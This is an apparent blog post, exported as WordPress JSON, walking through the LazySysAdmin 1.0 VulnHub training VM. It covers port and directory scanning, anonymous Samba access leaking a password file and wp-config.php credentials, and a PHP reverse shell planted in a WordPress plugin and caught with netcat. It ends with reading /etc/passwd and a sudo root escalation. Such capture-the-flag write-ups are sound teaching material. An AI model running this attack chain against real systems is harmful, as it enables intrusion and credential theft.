{"id":60,"date":"2017-10-23T21:48:53","date_gmt":"2017-10-24T02:48:53","guid":{"rendered":"https:\/\/blog.lamarranet.com\/?p=60"},"modified":"2019-08-28T10:31:19","modified_gmt":"2019-08-28T14:31:19","slug":"lazysysadmin-1-0-walkthrough","status":"publish","type":"post","link":"https:\/\/blog.lamarranet.com\/index.php\/lazysysadmin-1-0-walkthrough\/","title":{"rendered":"LazySysAdmin 1.0 Walkthrough"},"content":{"rendered":"<p>\n\tThis is a walkthrough of the LazySysAdmin 1.0 VM. You can download it from here:&nbsp;<a href=\"https:\/\/www.vulnhub.com\/entry\/lazysysadmin-1,205\/\">https:\/\/www.vulnhub.com\/entry\/lazysysadmin-1,205\/<\/a>\n<\/p>\n<p>\n\tMy Kali machine has the IP 10.10.1.2 and is connected to the VM on a host-only network.\n<\/p>\n<h1>\n\tScanning<br \/>\n<\/h1>\n<p>\n\tLet&#39;s find the IP address of our target:\n<\/p>\n<pre>\r\nroot ~ # netdiscover -i eth1 -r 10.10.1.0\/24\r\n\r\n Currently scanning: 10.10.1.0\/24   |   Screen View: Unique Hosts\r\n\r\n 3 Captured ARP Req\/Rep packets, from 3 hosts.   Total size: 180\r\n _________________________________________________________________________\r\n   IP            At MAC Address     Count     Len  MAC Vendor \/ Hostname\r\n -------------------------------------------------------------------------\r\n 10.10.1.1       00:50:56:c0:00:01      1      60  Unknown vendor\r\n 10.10.1.29      00:0c:29:a4:cd:ab      1      60  Unknown vendor<\/pre>\n<p>\n\t<br \/>\n\tNow for portscanning:\n<\/p>\n<pre>\r\nroot ~ # nmap -sV -O 10.10.1.29\r\n\r\nStarting Nmap 7.60 ( https:\/\/nmap.org ) at 2017-10-22 22:07 CDT\r\nNmap scan report for 10.10.1.29\r\nHost is up (0.00075s latency).\r\nNot shown: 994 closed ports\r\nPORT     STATE SERVICE     VERSION\r\n22\/tcp   open  ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8\r\n80\/tcp   open  http        Apache httpd 2.4.7 ((Ubuntu))\r\n139\/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)\r\n445\/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)\r\n3306\/tcp open  mysql       MySQL (unauthorized)\r\n6667\/tcp open  irc         InspIRCd\r\nMAC Address: 00:0C:29:A4:CD:AB (VMware)\r\nDevice type: general purpose\r\nRunning: Linux 3.X|4.X\r\nOS CPE: cpe:\/o:linux:linux_kernel:3 cpe:\/o:linux:linux_kernel:4\r\nOS details: Linux 3.2 - 4.8<\/pre>\n<h1>\n\t<br \/>\n\tEnumeration<br \/>\n<\/h1>\n<p>\n\tSeeing that port 80 is open, the first thing I do is open a web browser &amp; check it out:\n<\/p>\n<p>\n\t<img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-medium_large wp-image-29\" height=\"495\" src=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2017\/10\/LazySysAdminSite-768x495.jpg\" width=\"768\" srcset=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2017\/10\/LazySysAdminSite-768x495.jpg 768w, https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2017\/10\/LazySysAdminSite-300x194.jpg 300w, https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2017\/10\/LazySysAdminSite-210x135.jpg 210w, https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2017\/10\/LazySysAdminSite.jpg 1003w\" sizes=\"auto, (max-width: 768px) 100vw, 768px\" \/>\n<\/p>\n<p>\n\tThere&#39;s really not much to this site. Lets use dirb without recursion (in case there&#39;s a lot of hits) and see what else we can find. I like to use the &quot;big.txt&quot; wordlist:\n<\/p>\n<pre>\r\nroot ~ # dirb http:\/\/10.10.1.29\/ \/usr\/share\/dirb\/wordlists\/big.txt -r\r\n\r\n...snip...\r\n\r\n---- Scanning URL: http:\/\/10.10.1.29\/ ----\r\n==&gt; DIRECTORY: http:\/\/10.10.1.29\/apache\/\r\n==&gt; DIRECTORY: http:\/\/10.10.1.29\/javascript\/\r\n==&gt; DIRECTORY: http:\/\/10.10.1.29\/old\/\r\n==&gt; DIRECTORY: http:\/\/10.10.1.29\/phpmyadmin\/\r\n+ http:\/\/10.10.1.29\/robots.txt (CODE:200|SIZE:92)\r\n+ http:\/\/10.10.1.29\/server-status (CODE:403|SIZE:290)\r\n==&gt; DIRECTORY: http:\/\/10.10.1.29\/test\/\r\n==&gt; DIRECTORY: http:\/\/10.10.1.29\/wordpress\/\r\n==&gt; DIRECTORY: http:\/\/10.10.1.29\/wp\/<\/pre>\n<p>\n\t<br \/>\n\tAnything good in the robots.txt file?\n<\/p>\n<pre>\r\nroot ~ # curl http:\/\/10.10.1.29\/robots.txt\r\nUser-agent: *\r\nDisallow: \/old\/\r\nDisallow: \/test\/\r\nDisallow: \/TR2\/\r\nDisallow: \/Backnode_files\/\r\n<\/pre>\n<p>\n\t<br \/>\n\tI tried all the sites and they either didn&#39;t exist or had nothing interesting. Let&#39;s check out the WordPress site:\n<\/p>\n<p>\n\t<img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-medium_large wp-image-35\" height=\"544\" src=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2017\/10\/LazySysAdminWP-768x544.jpg\" width=\"768\" srcset=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2017\/10\/LazySysAdminWP-768x544.jpg 768w, https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2017\/10\/LazySysAdminWP-300x213.jpg 300w, https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2017\/10\/LazySysAdminWP-210x149.jpg 210w, https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2017\/10\/LazySysAdminWP.jpg 961w\" sizes=\"auto, (max-width: 768px) 100vw, 768px\" \/>\n<\/p>\n<p>\n\tAgain, not much here. Let&#39;s try to get some info from those open Samba ports (139 &amp; 445):\n<\/p>\n<pre>\r\nroot ~ # smbclient -L 10.10.1.29\r\nWARNING: The &quot;syslog&quot; option is deprecated\r\nEnter WORKGROUP\\root&#39;s password: \r\nOS=[Windows 6.1] Server=[Samba 4.3.11-Ubuntu]\r\n\r\n\tSharename       Type      Comment\r\n\t---------       ----      -------\r\n\tprint$          Disk      Printer Drivers\r\n\tshare$          Disk      Sumshare\r\n\tIPC$            IPC       IPC Service (Web server)\r\nOS=[Windows 6.1] Server=[Samba 4.3.11-Ubuntu]\r\n\r\n\tServer               Comment\r\n\t---------            -------\r\n\r\n\tWorkgroup            Master\r\n\t---------            -------\r\n\tWORKGROUP            LAZYSYSADMIN\r\n<\/pre>\n<h1>\n\t<br \/>\n\tExploitation<br \/>\n<\/h1>\n<p>\n\tNow we&#39;re about to exploit a misconfiguration in the server.\n<\/p>\n<p>\n\tApparently, any username &amp; a blank password will get us this info! Let&#39;s try connecting:\n<\/p>\n<pre>\r\nroot ~ # smbclient \\\\\\\\10.10.1.29\\\\share$\r\nWARNING: The &quot;syslog&quot; option is deprecated\r\nEnter WORKGROUP\\root&#39;s password: \r\nOS=[Windows 6.1] Server=[Samba 4.3.11-Ubuntu]\r\nsmb: \\&gt; ls\r\n  .                                   D        0  Tue Aug 15 06:05:52 2017\r\n  ..                                  D        0  Mon Aug 14 07:34:47 2017\r\n  wordpress                           D        0  Tue Aug 15 06:21:08 2017\r\n  Backnode_files                      D        0  Mon Aug 14 07:08:26 2017\r\n  wp                                  D        0  Tue Aug 15 05:51:23 2017\r\n  deets.txt                           N      139  Mon Aug 14 07:20:05 2017\r\n  robots.txt                          N       92  Mon Aug 14 07:36:14 2017\r\n  todolist.txt                        N       79  Mon Aug 14 07:39:56 2017\r\n  apache                              D        0  Mon Aug 14 07:35:19 2017\r\n  index.html                          N    36072  Sun Aug  6 00:02:15 2017\r\n  info.php                            N       20  Tue Aug 15 05:55:19 2017\r\n  test                                D        0  Mon Aug 14 07:35:10 2017\r\n  old                                 D        0  Mon Aug 14 07:35:13 2017\r\n\r\n\t\t3029776 blocks of size 1024. 1225164 blocks available\r\n<\/pre>\n<p>\n\t<br \/>\n\tWow, a lazy sysadmin indeed. After downloading a bunch of files and checking the contents, there were only a couple of interest:\n<\/p>\n<pre>\r\nsmb: \\&gt; get deets.txt\r\ngetting file \\deets.txt of size 139 as deets.txt\r\nsmb: \\&gt; cd wordpress\r\nsmb: \\wordpress\\&gt; get wp-config.php\r\ngetting file \\wordpress\\wp-config.php of size 3703 as wp-config.php\r\nsmb: \\wordpress\\&gt; exit\r\n\r\nroot ~ # cat deets.txt \r\nCBF Remembering all these passwords.\r\n\r\nRemember to remove this file and update your password after we push out the server.\r\n\r\nPassword 12345\r\n\r\nroot ~ # grep DB_ wp-config.php \r\ndefine(&#39;DB_NAME&#39;, &#39;wordpress&#39;);\r\ndefine(&#39;DB_USER&#39;, &#39;Admin&#39;);\r\ndefine(&#39;DB_PASSWORD&#39;, &#39;TogieMYSQL12345^^&#39;);\r\ndefine(&#39;DB_HOST&#39;, &#39;localhost&#39;);\r\ndefine(&#39;DB_CHARSET&#39;, &#39;utf8&#39;);\r\ndefine(&#39;DB_COLLATE&#39;, &#39;&#39;);\r\n<\/pre>\n<p>\n\t<br \/>\n\tAs you can see, deets.txt gives us a password of &quot;12345&quot;, no doubt to somebody&#39;s luggage. Though we don&#39;t have a username yet, we&#39;ll keep this in mind for later. We also managed to get the wp-config.php file, which contains credentials to the MySQL database.\n<\/p>\n<p>\n\tHoping for some password re-use, was able to log into the WordPress admin page (<a href=\"http:\/\/10.10.1.29\/wordpress\/wp-admin\/\">http:\/\/10.10.1.29\/wordpress\/wp-admin\/<\/a>) with these credentials!<br \/>\n\t<img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-50\" height=\"647\" src=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2017\/10\/LazySysAdmin-WPAdmin.jpg\" width=\"981\" srcset=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2017\/10\/LazySysAdmin-WPAdmin.jpg 981w, https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2017\/10\/LazySysAdmin-WPAdmin-300x198.jpg 300w, https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2017\/10\/LazySysAdmin-WPAdmin-768x507.jpg 768w\" sizes=\"auto, (max-width: 981px) 100vw, 981px\" \/>\n<\/p>\n<p>\n\tI should be able to get a php reverse shell now. Going to the Plugins page, I edit the Hello Dolly plugin:<br \/>\n\t<img loading=\"lazy\" decoding=\"async\" alt=\"\" class=\"alignnone size-full wp-image-51\" height=\"672\" src=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2017\/10\/LazySysAdmin-WPPlugins.jpg\" width=\"968\" srcset=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2017\/10\/LazySysAdmin-WPPlugins.jpg 968w, https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2017\/10\/LazySysAdmin-WPPlugins-300x208.jpg 300w, https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2017\/10\/LazySysAdmin-WPPlugins-768x533.jpg 768w\" sizes=\"auto, (max-width: 968px) 100vw, 968px\" \/>\n<\/p>\n<p>\n\tUsing a PHP reverse shell from <a href=\"http:\/\/pentestmonkey.net\/tools\/web-shells\/php-reverse-shell\">pentestmonkey<\/a>, I modified the $ip and $port variables and replaced all the code in the plugin starting below the headers (so we don&#39;t get an error about invalid plugin headers) with the reverse shell php code. Click &quot;Update File&quot; and now we&#39;re ready to get a shell. Note: In an actual pentest, you would never delete portions of a client&#39;s website in any way. It would be better to download a plugin, modify it with your reverse shell, then upload it to the target site. This is just a quick &amp; dirty shell.\n<\/p>\n<p>\n\tFirst, start a netcat listener:\n<\/p>\n<pre>\r\nroot ~ # nc -lvp 1337\r\nlistening on [any] 1337 ...\r\n<\/pre>\n<p>\n\t<br \/>\n\tNow call the page:\n<\/p>\n<pre>\r\nroot ~ # curl http:\/\/10.10.1.29\/wordpress\/wp-content\/plugins\/hello.php<\/pre>\n<p>\n\t<br \/>\n\tOn the netcat listener, we see our shell!\n<\/p>\n<pre>\r\nconnect to [10.10.1.2] from (UNKNOWN) [10.10.1.29] 37906\r\nLinux LazySysAdmin 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:06:37 UTC 2016 i686 i686 i686 GNU\/Linux\r\n 05:32:22 up 9 min,  0 users,  load average: 0.04, 0.06, 0.05\r\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT\r\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\r\n\/bin\/sh: 0: can&#39;t access tty; job control turned off\r\n$\r\n<\/pre>\n<p>\n\t<br \/>\n\tI usually check for user accounts first when I get on a system:\n<\/p>\n<pre>\r\n$ cat \/etc\/passwd\r\nroot:x:0:0:root:\/root:\/bin\/bash\r\n\r\n...snip...\r\n\r\ntogie:x:1000:1000:togie,,,:\/home\/togie:\/bin\/rbash\r\nsshd:x:104:65534::\/var\/run\/sshd:\/usr\/sbin\/nologin\r\nmysql:x:105:113:MySQL Server,,,:\/nonexistent:\/bin\/false\r\n<\/pre>\n<h1>\n\t<br \/>\n\tPrivilege Escalation<br \/>\n<\/h1>\n<p>\n\tThat &quot;togie&quot; account is the only user on here. Let&#39;s try to switch to that account with the &quot;12345&quot; password found earlier. Here&#39;s the rest of the process:\n<\/p>\n<pre>\r\n$ su togie\r\nsu: must be run from a terminal\r\n$ python -c &#39;import pty; pty.spawn(&quot;\/bin\/bash&quot;)&#39;\r\nwww-data@LazySysAdmin:\/$ ssuu  ttooggiiee\r\n\r\nPassword: 12345\r\n\r\ntogie@LazySysAdmin:\/$ ssuuddoo  --ii\r\n\r\n[sudo] password for togie: 12345\r\n\r\nroot@LazySysAdmin:~# ccdd  \/\/rroooott\r\n\r\nroot@LazySysAdmin:~# llss\r\n\r\nproof.txt\r\n<\/pre>\n<p>\n\t<br \/>\n\tI&#39;m really not sure why it was doubling everything like that. Regardless it still worked. As we can see, togie was in the sudoers file so privilege escalation wasn&#39;t much of a problem.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>This is a walkthrough of the LazySysAdmin 1.0 VM. You can download it from here:&nbsp;https:\/\/www.vulnhub.com\/entry\/lazysysadmin-1,205\/ My Kali machine has the IP 10.10.1.2 and is connected to the VM on a<a href=\"https:\/\/blog.lamarranet.com\/index.php\/lazysysadmin-1-0-walkthrough\/\" class=\"more-link\"><span class=\"readmore\">Continue reading<span class=\"screen-reader-text\">LazySysAdmin 1.0 Walkthrough<\/span><\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8],"tags":[],"class_list":["post-60","post","type-post","status-publish","format-standard","hentry","category-vulnhub"],"_links":{"self":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/60","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/comments?post=60"}],"version-history":[{"count":7,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/60\/revisions"}],"predecessor-version":[{"id":82,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/60\/revisions\/82"}],"wp:attachment":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/media?parent=60"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/categories?post=60"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/tags?post=60"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}